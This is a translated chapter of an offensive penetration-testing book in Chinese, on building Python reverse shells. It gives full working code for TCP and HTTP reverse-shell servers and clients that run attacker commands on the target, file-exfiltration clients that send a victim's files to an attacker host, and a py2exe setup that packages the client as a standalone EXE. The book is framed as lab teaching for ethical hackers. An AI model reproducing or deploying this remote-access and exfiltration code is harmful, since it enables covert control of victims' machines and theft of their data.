Python-进攻性渗透测试-全-
Python 进攻性渗透测试(全)
原文:
annas-archive.org/md5/dccde1d96c9ad81f97529d78e3e69c9b译者:飞龙
序言
Python 是一种易学的跨平台编程语言,具有无限的第三方库。许多开源黑客工具都是用 Python 编写的,可以轻松地集成到你的脚本中。本书被分成了清晰的小部分,你可以按照自己的节奏学习,并专注于对你最有兴趣的领域。你将学会如何编写自己的脚本,并从零开始掌握道德黑客技术。
本书适用对象
本书面向道德黑客、渗透测试人员、准备参加 OSCP、OSCE、GPEN、GXPN 和 CEH 的学生、信息安全专业人员、网络安全顾问、系统和网络安全管理员,以及希望了解渗透测试的程序员。
本书内容涵盖
第一章,热身 – 你的第一个无杀毒持久性 Shell,准备了我们的 Kali Linux 作为攻击者机器。它还准备了目标,并简要概述了 TCP 反向 Shell、HTTP 反向 Shell 以及如何组装它们。
第二章,高级脚本化 Shell,讲解了如何评估动态 DNS、与 Twitter 交互,以及如何使用对策来保护自己免受攻击。
第三章,密码破解,解释了使用免费的杀毒日志记录器,劫持 KeePass 密码管理器,Firefox API 劫持以及密码钓鱼。
第四章,抓住我,如果你能!,解释了如何绕过基于主机的防火墙大纲、劫持 Internet Explorer 以及绕过声誉过滤。我们还将与 source forge 和 Google 表单进行互动。
第五章,Windows 中的各种有趣内容,专注于在 Windows 中利用易受攻击的软件以及特权提升中的不同技术。我们还将探讨如何创建后门并掩盖我们的踪迹。
第六章,恶意软件对加密技术的滥用,提供了加密算法的简要介绍,使用 AES 和 RSA 保护隧道,以及开发混合加密密钥。
为了最大限度地利用本书的内容
你需要了解 Kali Linux 和 OSI 模型的基本知识。此外,了解渗透测试和道德黑客的基础知识将是非常有益的。
你还需要一台安装了 Python 的 64 位 Kali Linux 和 32 位 Windows 7 机器,运行在 Oracle VirtualBox 上。推荐的系统内存最少为 8GB。
下载示例代码文件
你可以从你的账户中下载本书的示例代码文件,网址为 www.packtpub.com。如果你从其他地方购买了本书,你可以访问 www.packtpub.com/support 并注册,以便直接将文件通过电子邮件发送给你。
你可以通过以下步骤下载代码文件:
-
登录或注册 www.packtpub.com。
-
选择 SUPPORT 标签。
-
点击 代码下载 & 勘误。
-
在搜索框中输入书名,并按照屏幕上的指示操作。
一旦文件下载完成,请确保使用以下最新版本解压或提取文件夹:
-
WinRAR/7-Zip for Windows
-
Zipeg/iZip/UnRarX for Mac
-
7-Zip/PeaZip for Linux
本书的代码包也托管在 GitHub 上,网址为 github.com/PacktPublishing/Python-for-Offensive-PenTest。如果代码有更新,它将被更新到现有的 GitHub 仓库中。
我们还在我们丰富的书籍和视频目录中提供了其他代码包,访问 github.com/PacktPublishing/。快来查看吧!
下载彩色图像
我们还提供了一份 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。你可以在这里下载: www.packtpub.com/sites/default/files/downloads/PythonforOffensivePenTest_ColorImages.pdf.
使用的约定
本书中使用了一些文本约定。
CodeInText: 表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号。以下是一个示例:“现在,如果你密切关注由 Photodex 软件创建的服务名称,它是 ScsiAccess。”
代码块如下所示:
if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
conn.send('terminate')
conn.close()
break
任何命令行输入或输出如下所示:
apt-get install idle
粗体:表示一个新术语、重要词汇或在屏幕上看到的词。例如,菜单或对话框中的单词会以这种方式出现在文本中。以下是一个示例:“转到 高级系统设置 | 环境变量。”
警告或重要说明如下所示。提示和技巧如下所示。
联系我们
我们欢迎读者的反馈。
一般反馈:请通过电子邮件 feedback@packtpub.com 并在邮件主题中提到书名。如果你对本书的任何部分有问题,请通过电子邮件联系 questions@packtpub.com。
勘误:虽然我们已尽最大努力确保内容的准确性,但错误总是难免的。如果你在本书中发现了错误,我们将非常感激你报告给我们。请访问 www.packtpub.com/submit-errata,选择你的书籍,点击“勘误提交表单”链接并输入详细信息。
盗版:如果你在互联网上发现任何我们作品的非法复制版,任何形式的都可以,如果你能提供相关位置或网站名称,我们将不胜感激。请通过 copyright@packtpub.com 联系我们并提供该素材的链接。
如果你有兴趣成为作者:如果你在某个领域有专长并且有兴趣写书或为书籍贡献内容,请访问 authors.packtpub.com。
评论
请留下评论。阅读并使用本书后,为什么不在购买网站上留下你的评论呢?潜在的读者可以通过你的公正评价来做出购买决策,我们 Packt 也能了解你对我们产品的看法,而我们的作者也能看到你对他们书籍的反馈。谢谢!
想了解更多关于 Packt 的信息,请访问 packtpub.com。
第一章:预热 – 您的第一个无病毒软件的持久化 Shell
如今,防火墙、入侵防御系统(IPS)和沙盒等安全解决方案正变得越来越先进,以防止和检测网络攻击。因此,成为一名高级黑客需要编写自己的脚本和工具,以绕过这些安全解决方案。
本章将涵盖以下主题:
-
准备攻击者机器
-
准备目标机器
-
TCP 反向 Shell
-
HTTP 反向 Shell
-
持久化
-
调整连接尝试
-
防止 Shell 崩溃的小贴士
-
对策
准备攻击者机器
在本节中,我们将准备 Kali Linux 机器作为攻击者。请注意,我们假设操作系统已经在 VMware 或 VirtualBox 中设置好。目前,我们将使用 VirtualBox 来处理所有章节。
我们可以通过运行以下 cat 命令来检查任何 Linux 操作系统的版本,显示来自文件 /etc/os-release 的内容,该文件包含操作系统的分发数据。我们将使用 Kali Linux 版本 2018.1,正如下图所示:

无论您的 Kali 版本是什么,对于本书,我们将使用写作时可用的最新版本。由于 Python 默认预安装在每个 Linux 发行版中,我们可以通过在交互式 Shell 中运行 python 命令或使用 python -V 来获取版本信息,如下图所示:

我们现在将使用 Python 2.7.14+,该版本已预安装在我们的 Linux 版本中。
那么,让我们稍微配置一下网络。在本章中,Kali 的 IP 地址是 10.0.2.15。我们可以通过运行 ifconfig eth0 命令来检查 Kali 的 IP 地址。这将返回网络接口配置,如下所示:

设置互联网访问
为了在系统上设置互联网,我们只需要将网络模式更改为 网络地址转换(NAT)模式,在 VirtualBox 中,NAT 模式将所有网络活动伪装成来自主机操作系统的请求,尽管 VirtualBox 可以访问外部资源。要执行此操作,请按照以下步骤进行:
-
从 VirtualBox 的菜单栏点击 设备 菜单
-
转到网络并选择网络设置
-
选择网络模式为 NAT 并点击 OK,如下图所示:
![]()
一旦执行了上述步骤,只要 VirtualBox 主机能够连接互联网,您就应该能够访问互联网。您可以通过从终端运行 ping 8.8.8.8 来检查网络连接。
现在,如果您没有 Python 的 GUI 编译器,可以通过以下命令安装:
apt-get install idle
安装完成后,让我们使用IDLE(使用 Python-2.7)做一个快速的打印程序,该程序是通过前面命令安装的。打开一个新的 Python 文件,输入print ('hello there')。运行程序并将其保存到桌面。完成此操作后,访问互联网后,你需要将网络模式更改回内部网络,以便能够连接到 Windows 目标。如下图所示:
请注意,Windows 目标机器和 Kali 攻击者机器都位于相同的内部网络intnet上。
作为最后一步,我们应该验证是否仍然获得相同的 IP 地址,即通过在终端中运行ifconfig命令,得到10.0.2.15。
如果 IP 发生变化,可以通过运行ifconfig eth0 10.0.2.15将 IP 改回。
准备目标机器
在本节中,我们将准备我们的目标。我们使用的是一台 32 位 Windows 7 机器作为目标。我们将从www.python.org/downloads/安装 Python 2.7.14+版本。在你开始安装时,你会注意到 Python 还会安装一些其他实用工具,如pip和easy_install。稍后我们将使用pip来安装第三方库。
类似于我们在 Kali 中做的,我们将创建一个快速简单的 Python 脚本,确保一切正常运行。创建一个新文件,输入print ('hi'),运行脚本并将其保存到桌面。完成此操作后,我们需要将 Python 添加到路径中,这样就可以从命令行的任何位置启动交互模式或交互式终端。打开命令行并输入python;你会看到 Windows 默认不识别python.exe应用程序,因此我们需要手动添加它。
执行以下步骤以实现这一点:
-
转到高级系统设置 | 环境变量。
-
在系统变量中,向下滚动直到找到变量 Path。你需要在此处附加 Python 路径和
pip路径。 -
复制 Python 应用程序的安装路径,并将其附加到变量值中。
-
确保在末尾插入分号,以确保它被附加到我们现有的变量值中。
-
同样,复制
pip安装路径(位于/Scripts文件夹中),并将其附加到变量值中,如下图所示:![]()
-
重启机器,以便它能识别我们刚刚插入的新值。
-
重启完成后,打开命令行并输入
python,交互式终端将会出现:![]()
-
现在,为了与我们的 Kali 机器建立连接,请确保网络设置为“内部网络”,并且网络名称与 Kali 端的名称匹配,即
intnet:![]()
-
最后,我们需要为这台机器分配一个与 Kali 机器处于同一子网的 IP 地址。我们可以通过控制面板进入网络和 Internet/网络和共享中心来更改网络设置。点击本地连接,然后点击属性。在这里,进入互联网协议版本 4 (TCP/IPv4),输入 IP 地址为
10.0.2.10,并按照以下截图所示填写其余内容。然后点击确认:
我们已经在目标机器上安装了 Python 编译器,目的是更好地解释代码并进行编译。然而,我们稍后将把 Python 脚本编译成独立的 EXE 文件,这样它就可以在任何没有安装 Python 编译器的目标上运行。
TCP 反向 Shell
在本节中,我们将快速概述 TCP 反向 Shell,为什么我们需要反向连接,以及什么是 shell。回答这些问题的最佳方法是研究以下图示的拓扑结构:

假设我们有一个攻击者连接到互联网的某个地方,右侧是我们的目标。所以,从技术上讲,我们有一台完全修补的计算机,并且启用了内置防火墙,同时也有企业防火墙在运行。而且,很可能企业防火墙已经集成了入侵防御系统 (IPS)模块或杀毒软件。因此,现在,攻击者要访问这台受保护的计算机,面临两个主要问题。首先,攻击者需要绕过操作系统上的内置防火墙或主机防火墙,默认情况下,防火墙会阻止任何进入该计算机的连接,除非明确允许;同样的规则也适用于企业防火墙。
但是,如果攻击者能以某种方式找到向用户发送恶意文件的方法,或者可能欺骗用户访问我们的恶意网站并下载恶意文件,那么我们可能会危及该计算机,甚至可能是整个网络。因此,为了绕过防火墙根本限制,我们需要让我们的目标,也就是 TCP 客户端,主动发起连接回我们。所以,在这种情况下,我们充当 TCP 服务器,而我们的目标或受害者充当 TCP 客户端,这正是我们需要反向 shell 的原因。
现在,我们需要先理解什么是 shell。如果我们可以在目标机器上启动 cmd 进程,并将该进程绑定到网络套接字上,那么这就被称为反向 Shell。因此,当我们说将 TCP 反向 Shell 发送到端口 123 时,意味着一旦受害者运行该文件,我们预期会在端口 123 接收到反向 TCP 连接。所以,在这种情况下,目标端口将是 123,我们应该在这个端口上监听。因此,这个端口应该在我们的 Kali 机器上开放。然后,在完成 TCP 三次握手后,我们可以向受害者/目标发送某些命令,让受害者执行,并将结果返回给我们。
请记住,结合社会工程学和客户端攻击(我们在这里讨论的),是最强大的攻击类型,并且很有可能成功。
编写一个 TCP 反向 shell
在本节中,我们将在 Kali 机器上调用一个示例 TCP 服务器,并在目标机器上调用一个示例 TCP 客户端。然后,我们将看到如何从 Kali 机器远程执行一些命令。
服务器端
让我们从服务器端开始。在 Python 中构建一个 TCP 服务器非常简单:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic TCP Server
import socket # For Building TCP Connection
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'
s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port
s.listen(1) # define the backlog size, since we are expecting a single connection from a single
# target we will listen to one connection
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source
# port in a tuple format (IP,port)
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ") # Get user input and store it in command variable
if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
conn.send('terminate')
conn.close()
break
else:
conn.send(command) # Otherwise we will send the command to the target
print conn.recv(1024) # and print the result that we got back
def main ():
connect()
main()
如前面的代码所示,脚本首先导入了socket库,它负责编写低级网络接口。AF_INIT 定义了套接字地址为一对:主机和端口。在这种情况下,它将是10.10.10.100,端口是8080。SOCK_STREAM 是套接字类型的默认模式。现在,bind 函数指定了 Kali IP 地址和监听端口的元组格式,即10.10.10.100,我们应该在端口8080上监听以接收连接。
由于我们只期望来自单个目标的单个连接,因此我们将监听一个连接。所以,backlog 大小,指定最大排队连接数,是1;我们将监听值定义为1。现在,accept 函数返回一对连接对象(conn)的值,以及地址(addr)。这里的地址是目标的 IP 地址和用于从目标发起连接回我们的源端口。接下来,我们将进入一个无限循环,获取我们的命令输入并将其发送到目标机器。这个原始输入用于获取用户输入。如果用户输入的是terminate,我们将通知目标我们希望关闭会话,然后我们会从我们这边关闭会话。否则,我们将向目标发送一个command,并且我们将读取并打印从目标端收到的前 1 KB 数据。
客户端
现在,让我们看一下客户端脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic TCP Client
import socket # For Building TCP Connection
import subprocess # To start the shell in the system
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'
s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port
while True: # keep receiving commands from the Kali machine
command = s.recv(1024) # read the first KB of the tcp socket
if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop
s.close()
break
else: # otherwise, we pass the received command to a shell process
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() ) # send back the result
s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error
def main ():
connect()
main()
我们导入subprocess来启动 shell 和系统。接下来,连接部分相当简单。我们定义s和socket对象,并指定 Kali 机器的 IP 地址和我们应该发起连接的端口。我们在 Kali 机器上监听的端口必须与我们从目标机器发起连接的端口完全匹配。与服务器端类似,我们将进入一个无限循环并获取攻击者的命令。如果攻击者的命令是terminate,或者命令中包含terminate关键字或字符串,则我们关闭连接并打破无限循环;否则,我们将使用subprocess启动系统中的 shell。我们将把从攻击者机器接收到的命令传递给subprocess,并获取结果或错误。请注意,subprocess有一种自我处理异常的机制。例如,如果我们在 Kali 端输入了错误的命令并将错误的语法发送给目标,stderr不会导致进程崩溃,而是处理异常并返回错误。
让我们从之前用于hello there程序的 Python IDE 快速尝试一下我们的脚本。首先点击运行并选择运行模块,启动服务器端。只是为了验证我们是否已经在8080端口上打开了监听器,运行以下命令:
netstat -antp | grep "8080"

如你所见,python2.7已经打开了端口并在监听。现在在另一个虚拟机上运行目标脚本。正如以下截图所示,我们从10.0.2.10的 IP 地址获取到了我们的 shell,而这个 IP 地址是我们的 Windows 机器的 IP 地址,源端口为49160:

让我们从ipconfig和dir开始,稍微探索一下目标机器:

让我们尝试arp -a。现在我们获取目标机器上的 ARP 表:

如前面的截图所示,输入错误命令时,子进程的stderr返回错误的语法,而不是使脚本崩溃。
为了快速回顾我们到目前为止所做的工作,我们已经建立了一个反向 TCP 隧道,并通过原始输入获取了用户输入。当我们输入arp -a时,原始输入将获取该命令,然后我们将其发送到目标机器。一旦在目标端接收到命令,我们将启动cmd作为子进程,发送错误或结果并在目标端打印出来。
如果连续按几次Enter键,shell 将崩溃。
数据外泄 – TCP
在上一节中,我们已经学习了如何导航目标目录。现在我们将看到如何抓取这些文件。在从目标机器抓取任何数据之前,请确保交战规则明确允许这样做。
服务器端
那么,让我们从更新后的服务器端脚本开始:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Server
import socket
import os # Needed for file operation
# In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the
# received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however
# If the requested file doesn't exist or if we reached the end of the file then we will break the loop
# note that we could know the end of the file, if we received the "DONE" tag from the target side
# Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input
def transfer(conn,command):
conn.send(command)
f = open('/root/Desktop/test.png','wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print '[-] Unable to find out the file'
break
if bits.endswith('DONE'):
print '[+] Transfer completed '
f.close()
break
f.write(bits)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.0.2.15", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
# if we received grab keyword from the user input, then this is an indicator for
# file transfer operation, hence we will call transfer function
# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
transfer(conn,command)
else:
conn.send(command)
print conn.recv(1024)
def main ():
connect()
main()
elif 'grab' in command:代码表明这不是一个普通的命令;此命令用于传输文件。因此,服务器和客户端必须就此指示符或公式达成一致。现在,公式将是grab,后面跟上*和我们要抓取的文件路径,例如,grab*C:\Users\Hussam\Desktop\photo.jpeg。
客户端
现在,让我们看看客户端脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Client
import socket
import subprocess
import os # needed for file operations
# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function
# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
grab,path = command.split('*')
try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
# we use exception handling (try and except) to protect our script from being crashed
# in case something went wrong, we will send the error that happened and pass the exception
transfer(s,path)
except Exception,e:
s.send ( str(e) ) # send the exception error
pass
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def main ():
connect()
main()
如前所述,客户端和服务器必须就grab公式达成一致。所以,在客户端,如果我们接收到一个 grab 字符串,我们会将命令分成两部分,*前后的部分,其中第二部分包含路径,我们会将路径存储在 path 变量中。为了确保我们的脚本在传输过程中如果发生问题不会崩溃,我们将使用异常处理器。
接下来,我们将path变量传递给transfer函数。所以,在transfer函数中,我们首先要做的就是检查请求的文件是否存在。如果不存在,我们将把'无法找到文件'的消息发送给服务器。
接下来,我们将文件分成若干部分或块,每个块的大小为 1KB,我们将循环读取,直到文件的末尾。当我们这样做时,需要发送一个指示符或标签给服务器端,表明我们已经到达文件的末尾。因此,前面代码块中的DONE字符串用于指示我们已经到达文件末尾。
现在,在服务器端,我们创建一个占位符或文件持有者。我们将把接收到的字节存储在test.png中,这里就是文件持有者。当控制进入循环,每次读取 1KB 的数据时,它会写入test.png。当接收到DONE字符串时,意味着我们已经到达文件的末尾。此时,文件会被关闭,循环结束。另外,如果服务器收到无法找到文件,它会打印出来并中断循环。
现在,再次运行服务器脚本,我们将监听端口8080。一旦在目标端运行脚本,我们就能获得 shell。接下来,进入目录并尝试通过运行grab*Module2.pdf命令来获取Module2.pdf:

当我们输入上述命令时,它将在客户端和服务器端都触发if语句。因此,当我们在目标端接收到grab*Module2.pdf时,我们将把这个命令分为两部分。第二部分包含Module2.pdf,即我们要抓取的文件。我们将如前所述将其存储在 path 变量中。代码将检查文件是否存在,按块读取,并将其发送到服务器端。这将在服务器端返回响应:[+] 传输完成。
在桌面上找到文件,它现在叫做1.txt,将文件扩展名改为.pdf,并重命名文件,因为我们知道这不是一个图片,而只是一个占位符。现在,用任何 PDF 阅读器打开Module2.pdf,以确保文件没有损坏。如果没有损坏,它将正常打开。
让我们试试另一个。现在,我们将抓取Tulips.png:

由于我们要抓取的文件与我们的文件夹具有相同的扩展名,即.png,因此我们不需要更改文件扩展名。
尝试抓取任何已存在的文件,但同样的规则适用:更改文件名为其原始扩展名。让我们尝试一个不存在的文件。回到我们的终端,输入grab*blaaaah.exe,它将抛出一个错误,如下图所示:

这将导致我们的脚本在目标机器上崩溃,运行ipconfig时你会看到这个问题。
你可能期待我们使用一个知名协议,如 FTP、SCP 或安全 FTP 来进行文件传输。但我们使用了通过 TCP 套接字进行的低级文件传输,因此你可能会问为什么要这么做。由于这些知名协议可能会被防火墙屏蔽,我们将无法传输任何文件。我们在这里所做的是,不每次传输文件时都启动一个新的通道,这可能会引起管理员的注意,而是创建一个 TCP 套接字,一个会话来获取访问权限,执行远程 Shell 操作,以及进行文件传输。这种类型的传输称为内联传输,我们通过一个通道和一个会话来执行所有需要的操作。
导出为 EXE
有多种方法可以将 Python 脚本导出为独立的 EXE 文件。今天我们将使用py2exe库。你可以从sourceforge.net/projects/py2exe/files/py2exe/0.6.9/下载py2exe-0.6.9.win32-py2.7.exe版本。
首先,安装这个库。安装过程非常简单,只需按照屏幕上的提示进行操作。
安装完成后,在 Windows 机器上打开 Python 窗口并导入py2exe,以确保我们能够毫无异常地导入此库。输入python,然后导入py2exe。如果没有抛出错误,说明成功:

现在,在桌面上创建一个名为Toexe的文件夹。这个文件夹里应该有三样东西:py2exe二进制文件、py2exe安装文件和你的Client.py脚本文件。为了简便起见,将二进制文件重命名为py2exe。
安装文件setup.py将设置最终独立 EXE 文件的标准:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "Client.py"}],
zipfile = None,
)
在setup.py脚本中,我们首先将py2exe二进制文件添加到我们的目录中。然后,我们将bundle_files设置为1。定义我们的脚本名称为Client.py。将zipfile设置为None并运行该setup文件。
执行上述步骤后,将创建两个文件夹,分别名为build和dist,如下图所示:

所以在dist文件夹下,我们得到了独立的Client.exe,没有任何依赖。现在,运行Client.exe时,我们将建立连接(前提是前一节中的服务器脚本数据窃取在 Kali 侧运行),我们可以看到Client.exe进程已在 Windows 任务管理器中创建,如下图所示:

因此,再次进行如下的快速验证:
-
运行
ipconfig -
浏览目录
-
获取一个文件,例如
Koala.png,并等待其成功传输:

-
将文件扩展名更改为
.png -
现在,打开图片,成功查看后,终止
Client.exe进程 -
在你的 Kali 机器上的 Shell 中执行
terminate -
一旦你按下Enter,目标机器上的进程将被终止
HTTP 反向 Shell
在本节中,我们将讨论一个更高层次的 Python 反向 Shell,它将通过 HTTP 协议进行传输。由于 HTTP 协议通常会在出站或出口防火墙规则中被允许,因为它用于网页浏览,因此非常有可能已被开放。此外,每个网络中都需要大量的 HTTP 流量,这使得监控更加困难,犯错的机会较高。让我们看看它是如何工作的。
首先,我们将配置一个简单的 HTTP 服务器和一个简单的 HTTP 客户端,我们将使用GET和POST方法在这两个实体之间来回发送数据。如前所述,客户端将使用GET方法发起一个反向 HTTP 会话回到我们的服务器,而在服务器端,一旦我们收到GET请求,我们将开始使用原始输入接收命令,并将该命令发送回目标。
一旦我们向目标发出命令,它将启动一个子进程:一个cmd.exe子进程。将命令传递给该子进程,它将使用POST方法将结果返回给我们。为了确保我们的 Shell 能够持续运行,我们会执行sleep 3 秒。然后,我们将使用while True:无限循环重复整个过程。与之前的 TCP 套接字相比,这段代码要简单得多,尤其是在文件传输部分,这是因为我们使用的是高层协议来传输文件和数据。下一部分将处理编码部分。
编写 HTTP 反向 Shell
在本节中,我们将涵盖 HTTP 反向 Shell 的编码部分。在客户端,我们将使用一个非常高层的库来发送我们的GET和POST请求。
这个名为Requests的库,位于pypi.python.org/pypi/requests/2.7.0#downloads,使得发送GET或POST请求变得更加简单,只需要一行代码。Requests是一个第三方库,因此我们首先需要安装它。你只需通过命令提示符导航到包含其安装文件的文件夹,然后执行python setup.py install。
要验证库是否已成功安装,打开 Python 解释器,就像我们之前为py2exe做的那样,输入import requests。如果这里没有抛出异常,那么我们就可以开始使用了:

服务器端
以下代码块位于服务器端:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic HTTP Server
import BaseHTTPServer # Built-in library we use to build simple HTTP server
HOST_NAME = '10.10.10.100' # Kali IP address
PORT_NUMBER = 80 # Listening port number
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request
# from the client / target
def do_GET(s):
#If we got a GET request, we will:-
command = raw_input("Shell> ") #take user input
s.send_response(200) #return HTML status 200 (OK)
s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html"
s.end_headers()
s.wfile.write(command) #send the command which we got from the user input
def do_POST(s):
#If we got a POST, we will:-
s.send_response(200) #return HTML status 200 (OK)
s.end_headers()
length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length
#value has to be integer
postVar = s.rfile.read(length) # Read then print the posted data
print postVar
if __name__ == '__main__':
# We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
在服务器端,我们将使用一个名为BaseHTTPServer的内建库来构建一个基本的 HTTP 服务器,用于处理客户端请求。接下来,我们通过将PORT_NUMBER设置为80来定义 Kali IP 和监听端口地址。然后,我们创建server_class和httpd对象,并将监听 IP、PORT_NUMBER以及类处理程序MyHandler传递给server_class。类处理程序MyHandler定义了当服务器接收到GET或POST请求时应执行的操作。服务器将永久运行,无需编写while True:。
现在,如果服务器接收到一个GET请求,它将使用原始输入获取用户输入,并发送一个 HTML 状态200,表示一切正常。此时,send_header()指定了头字段的定义。由于我们的 HTTP 客户端需要知道数据的类型,因此设置此值是强制性的。在此情况下,数据类型是 HTML 文本,text/html。wfile.write()函数等同于我们之前 TCP shell 中发送数据的方式,我们将使用该函数将用户输入的命令发送到目标。
如果服务器首先接收到一个POST请求,类似于GET请求,我们将返回一个 HTML 状态200,表示我们已经成功接收到POST请求而没有任何问题。s.headers['Content-Length']指定了HTTP POST数据所包含的字节数。请注意,返回的值是一个字符串,但在将其作为参数传递给rfile.read()之前,必须将其转换为整数。我们将使用integer函数来进行此转换。最后,我们将打印postVar变量,在这种情况下,它将是命令执行的输出。服务器将使用serve_forever()函数永久运行,而无需编写while True:循环。然而,如果我们从键盘按下Ctrl + C,它将中断循环。
客户端
以下代码块位于客户端:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic HTTP Client
import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :)
import subprocess
import time
while True:
req = requests.get('http://10.0.2.15') # Send GET request to our kali server
command = req.text # Store the received txt into command variable
if 'terminate' in command:
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any-
time.sleep(3)
在这里,我们使用 subprocess 来创建一个 shell,然后我们创建一个 GET 请求发送到我们的 Kali 服务器。请注意,req.text 函数返回的是我们通过发送 GET 请求所获得的文本。在这个例子中,text 就是我们应该执行的命令。现在,一旦我们获得了命令,我们将启动一个子进程,执行结果或错误将通过 POST 方法发送,并且只会是单行的。然后,进程将休眠 3 秒,再次重复整个过程。time.sleep() 这部分只是为了保险——防止我们遇到数据包丢失或意外的错误。
此外,你可以通过使用 try 和 except 函数添加一些异常处理来增强这个脚本。
一旦我们在双方运行脚本,我们将在服务器端获得我们的 shell,并尝试在当前工作目录中进行导航。执行 ipconfig,你将获得完整的 IP 配置信息。现在,错误地输入一个命令,将会抛出错误信息,如下所示:

最后,我们通过在服务器端执行 terminate 来终止会话。一旦我们这样做,我们将在客户端退出脚本,而在服务器端退出脚本时,我们需要按 Ctrl + C 来终止循环。服务器将通过显示 [!] Server is terminated 消息来终止。
数据外泄 – HTTP
和我们之前在 TCP 反向 shell 中做的类似,我们将进行一个从目标机器到攻击者机器的文件传输。
客户端
幸运的是,Requests 库支持仅用两行代码提交一个文件:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# HTTP Data Exfiltration Client
import requests
import subprocess
import os
import time
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break # end the loop
# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we
# notify our attacker that we are unable to find the file, but if the file is there then we will :-
# 1.Append /store in the URL
# 2.Add a dictionary key called 'file'
# 3.requests library use POST method called "multipart/form-data" when submitting files
#All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output
#Please see the server script for more details on how we can use these points to get the file
elif 'grab' in command:
grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable
if os.path.exists(path): # check if the file is there
url = 'http://10.0.2.15/store' # Appended /store in the URL
files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself
r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data"
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
